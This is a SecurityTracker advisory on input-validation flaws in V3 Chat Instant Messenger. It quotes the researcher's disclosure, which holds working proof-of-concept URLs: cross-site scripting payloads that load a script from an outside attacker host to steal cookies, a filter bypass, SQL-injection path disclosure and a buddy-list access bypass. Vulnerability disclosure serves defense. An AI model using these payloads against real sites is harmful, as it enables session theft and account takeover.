V3 Chat - Instant Messenger Input Validation Bugs Let Remote Users Conduct Cross-Site Scripting Attacks and Determine the Installation Path
|
|
SecurityTracker Alert ID: 1016340 |
|
SecurityTracker URL: http://securitytracker.com/id/1016340
|
|
CVE Reference:
CVE-2006-3365, CVE-2006-3366
(Links to External Site)
|
Updated: May 19 2009
|
Original Entry Date: Jun 20 2006
|
Impact:
Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
|
Description:
Some vulnerabilities were reported in V3 Chat - Instant Messenger. A remote user can conduct cross-site scripting attacks. A remote user can determine the installation path.
Several scripts do not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the V3 Chat - Instant Messenger software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
The following scripts are affected:
/mail/index.php
/mail/reply.php
is_online.php
online.php
profile.php
profileview.php
search.php
mycontacts.php
expire.php
The input form fields when editing a profile are also affected.
A remote user can supply a specially crafted URL to cause the system to disclose the installation path. A demonstration exploit URL is provided:
http://[target]/v3chat/mail/index.php?action=read&mid=62&id=1'
luny reported this vulnerability.
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the V3 Chat - Instant Messenger software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A remote user can determine the installation path.
|
Solution:
The vendor has issued a fix.
The vendor notes that the 'messenger' folder (which contains most of the affected scripts) was not intended for public access.
|
Vendor URL: www.v3chat.com/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 17 Jun 2006 22:01:52 +0000
Subject: V3Chat Instant Messenger - XSS
|
V3 Chat Instant Messenger
http://www.v3chat.com/
Affected files:
/mail/index.php
/mail/reply.php
is_online.php
online.php
profile.php
profileview.php
search.php
mycontacts.php
expire.php
* Editing your profile:
- input boxes
------------------------------------------
Mail Vulnerabilities:
Full path disclosure via SQL injection on id when reading mail:
http://www.example.com/v3chat/mail/index.php?action=read&mid=62&id=1'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /content/username/v/#/domain/web/v3chat/mail/index.php
on line 17
XSS vuln with cookie disclosure:
We can bypass V3chats filters by using malformed img tags around out script tags. PoC:
http://www.example.com/v3chat/mail/index.php?action=read&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Replying to mail XSS vulns:
http://www.example.com/v3chat/mail/reply.php?&recipientname=Scorpio&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
---------------------------------------
Members online XSS vulns with cookie disclosure:
http://www.example.com/v3chat/members/is_online.php?membername=demo&action=update&login_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Same as above, on online.php:
http://www.example.com/messenger/online.php?action=update&membername=luny666&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></
SCRIPT>">
Adding members via Online.php Mysql error & full path disclosure:
http://www.example.com/messenger/online.php?action=update&membername='
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /content/username/v/#/domain/web/messenger/online.php
on line 5
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'Online', 'Jun 17, 2006 - 9:55 pm', '1150577732', '')' at line 1
-------------------------------------
Search.php XSS vuln:
http://www.example.com/messenger/search.php?action=update&membername=&action=search&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Adding a member from search.php XSS vuln:
http://www.example.com/messenger/search.php?membername=luny666&memberid=287&contact_id=1&contact_name=<IMG%20SRC=javascript:alert(document.cookie)>&site_id=&add=1&s=1&r=0&min_age=16&max_age=100&location=&gender1=&gender2=
--------------------------------------
Same as above, this time on profile.php:
http://www.example.com/messenger/profile.php?new_reg=1&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
-----------------------------------
Same as above, on Profileview.php now:
http://www.example.com/messenger/profileview.php?membername=demo<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
----------------------------------
XSS vuln with cookie disclosure when editing profile:
To bypass V3 chats filters we can use this XSS example. Credits to RSnake.Script tags wrapped around a document.write function that
writes part of our second
script tag.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://youfucktard.com/xss.js"></SCRIPT>
-------------------------------
Mycontacts.php XSS vulns with user bypass.
It seems after you log in as a user youre able to put in any username in membername= and it will navigate you to their buddylist.
From there you can add,
remove, chat with, etc people on their buddylist. etc.
PoC:
http://example.com/messenger/mycontacts.php?membername=putausername
-------------------------------
Expire.php XSS vuln:
http://example.com/messenger/expire.php?cust_name=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
-----------------------------
Screenshots:
http://www.youfucktard.com/xsp/v3chat1.jpg
http://www.youfucktard.com/xsp/v3chat2.jpg
http://www.youfucktard.com/xsp/v3chat3.jpg
http://www.youfucktard.com/xsp/v3chat4.jpg
http://www.youfucktard.com/xsp/v3chat5.jpg
http://www.youfucktard.com/xsp/v3chat6.jpg
http://www.youfucktard.com/xsp/v3chat7.jpg
http://www.youfucktard.com/xsp/v3chat8.jpg
http://www.youfucktard.com/xsp/v3chat9.jpg
http://www.youfucktard.com/xsp/v3chat10.jpg
|
|
